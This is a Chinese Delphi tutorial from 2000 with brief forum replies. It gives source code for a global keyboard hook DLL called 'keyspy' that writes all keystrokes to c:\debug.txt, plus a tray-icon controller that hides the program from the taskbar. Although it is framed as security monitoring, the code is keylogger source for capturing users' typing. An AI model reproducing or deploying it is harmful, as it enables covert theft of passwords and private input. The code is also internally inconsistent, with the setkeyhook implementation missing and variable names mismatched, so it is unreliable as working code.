利用Hook技术实现键盘监控
http://www.pickweb.com 2000年04月21日--------------------------------------------------------------------------------  在许多系统中,出于安全或其它原因,常常要求随时对键盘进行监控,一个专业的监控程序必须具备两点,一是实时;二是作为指示图标运行。实际应用中把利用Hook(即钩子)技术编写的应用程序添加到Windows的任务栏的指示区中就能够很好的达到这个目的。我在参考了API帮助文档基础上,根据在Delphi开发环境中的具体实现分别对这两部分进行详细论述。 一、Hook(钩子)的实现:      Hook是应用程序在Microsoft Windows 消息处理过程中设置的用来监控消息流并且处理系统中尚未到达目的窗口的某一类型消息过程的机制。如果Hook过程在应用程序中实现,若应用程序不是当前窗口时,该Hook就不起作用;如果Hook在DLL中实现,程序在运行中动态调用它,它能实时对系统进行监控。根据需要,我们采用的是在DLL中实现Hook的方式。   1.新建一个导出两个函数的DLL文件,在hookproc.pas中定义了钩子具体实现过程。 代码如下:
  library keyspy;
  uses windows, messages, hookproc in 'hookproc.pas'; 
  exports setkeyhook, endkeyhook; 
  begin nexthookproc:=0;
  procsaveexit:=exitproc;
  exitproc:=@keyhookexit; 
  end.
  2.在Hookproc.pas中实现了钩子具体过程:
  unit hookproc;
  interface uses Windows, Messages, SysUtils, Controls, StdCtrls; 
  var nexthookproc:hhook;
  procsaveexit:pointer; 
  function keyboardhook(icode:integer;wparam:wparam;lparam:lparam):lresult;
  stdcall;
  export; 
  function setkeyhook:bool;export;//加载钩子 
  function endkeyhook:bool;export;//卸载钩子 
  procedure keyhookexit;
  far;
  const afilename='c:\debug.txt';//将键盘输入动作写入文件中 
  var debugfile:textfile; 
  implementation function keyboardhookhandler(icode:integer;wparam:wparam; lparam:lparam):lresult;
  stdcall;
  export; 
  begin if icode<0 then
   begin result:=callnexthookex(hnexthookproc,icode,wparam,lparam);
   exit;
  end;
  assignfile(debugfile,afilename);
  append(debugfile);  
   if getkeystate(vk_return)<0 then
    begin writeln(debugfile,'');
    write(debugfile,char(wparam));
    end
   else write(debugfile,char(wparam)); 
    closefile(debugfile);
    result:=0;
    end;
  function endkeyhook:bool;
  export; 
  begin if nexthookproc<>0 then
   begin unhookwindowshookex(nexthookproc); 
   nexthookproc:=0; 
   messagebeep(0);
   end;
  result:=hnexthookproc=0;
  end;
  procedure keyhookexit;
  far;
  begin if nexthookproc<>0 then 
  endkeyhook; 
  exitproc:=procsaveexit;
  end;
  end.   二、Win95/98使用任务栏右方指示区来显示应用程序或工具图标对指示区图标的操作涉及了一个API函数Shell_NotifyIcon,它有两个参数,一个是指向TnotifyIconData结构的指针,另一个是要添加、删除、改动图标的标志。通过该函函数将应用程序的图标添加到指示区中,使其作为图标运行,增加专业特色。当程序起动后,用鼠标右键点击图标,则弹出一个菜单,可选择sethook或endhook。
  unit kb;   
  interface 
  uses
   Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, Menus,shellapi; 
  const icon_id=1;
   MI_iconevent=wm_user+1;//定义一个用户消息 
  type 
   TForm1 = class(TForm)
   PopupMenu1: TPopupMenu;
   sethook1: TMenuItem;
   endhook1: TMenuItem; 
   N1: TMenuItem;
   About1: TMenuItem;
   Close1: TMenuItem;
   Gettext1: TMenuItem; 
   procedure FormCreate(Sender: TObject);
   procedure sethook1Click(Sender: TObject); 
   procedure endhook1Click(Sender: TObject);
   procedure FormDestroy(Sender: TObject);
   procedure Close1Click(Sender: TObject); 
  private 
   { Private declarations }
   nid:tnotifyicondata;
   normalicon:ticon;
  public 
   { Public declarations } 
  procedure icontray(var msg:tmessage);  
   message mi_iconevent; 
  end;  var 
   Form1: TForm1;  implementation  {$R *.DFM}  function setkeyhook:bool;
  external 'keyspy.dll'; 
  function endkeyhook:bool;
  external 'keyspy.dll'; 
  procedure tform1.icontray(var msg:tmessage); 
  var
   pt:tpoint;
  begin 
   if msg.lparam=wm_lbuttondown then 
     sethook1click(self); 
   if msg.LParam=wm_rbuttondown then
     begin 
     getcursorpos(pt);
      setforegroundwindow(handle);
      popupmenu1.popup(pt.x,pt.y);
     end;
  end;  procedure TForm1.FormCreate(Sender: TObject);
  begin
   normalicon:=ticon.create; 
   application.title:=caption;
   nid.cbsize:=sizeof(nid);
   nid.wnd:=handle;
   nid.uid:=icon_id; 
   nid.uflags:=nif_icon or nif_message or nif_tip;            
   nid.ucallbackmessage:=mi_iconevent;  
   nid.hIcon :=normalicon.handle;
   strcopy(nid.sztip,pchar(caption)); 
   nid.uFlags:=nif_message or nif_icon or nif_tip;               shell_notifyicon(nim_add,@nid);
   SetWindowLong(Application.Handle, GWL_EXSTYLE,WS_EX_TOOLWINDOW);
  end;  procedure TForm1.sethook1Click(Sender: TObject); 
  begin setkeyhook;
  end;  procedure TForm1.endhook1Click(Sender: TObject);
  begin endkeyhook;
  end;  procedure TForm1.FormDestroy(Sender: TObject);
  begin nid.uFlags :=0;
  shell_notifyicon(nim_delete,@nid);
  end;  procedure TForm1.Close1Click(Sender: TObject); 
  begin application.terminate;
  end;   
  该程序虽然只用了几个shellai函数,但是它涉及到了在Delphi中对DLL的引用、钩子实现、对指示区的操作、用户定义消息的处理、文件的读写等比较重要的内容,我相信这篇文章能对许多Delphi的初学者有所帮助。   该程序在Win98、Delphi4.0中正常运行。

解决方案 »

  1.   

    to 项羽:能不能给个例子? 有没有听说过是delphi不能很好的写钩子?我准备弃暗投明,改学vc 了。
    本来这个问题的描述在http://www.csdn.net/expert/topic/129/129696.shtm.
      

  2.   

    我...怎么又回到正确的地方了?
    to kingron:上次错怪你了。在http://www.csdn.net/expert/topic/137/137093.shtm问题里,呵呵.
      

  3.   

    delphi令人失望。居然这么个问题就没办法解决。vc写的真的好用不忍心啊不忍心。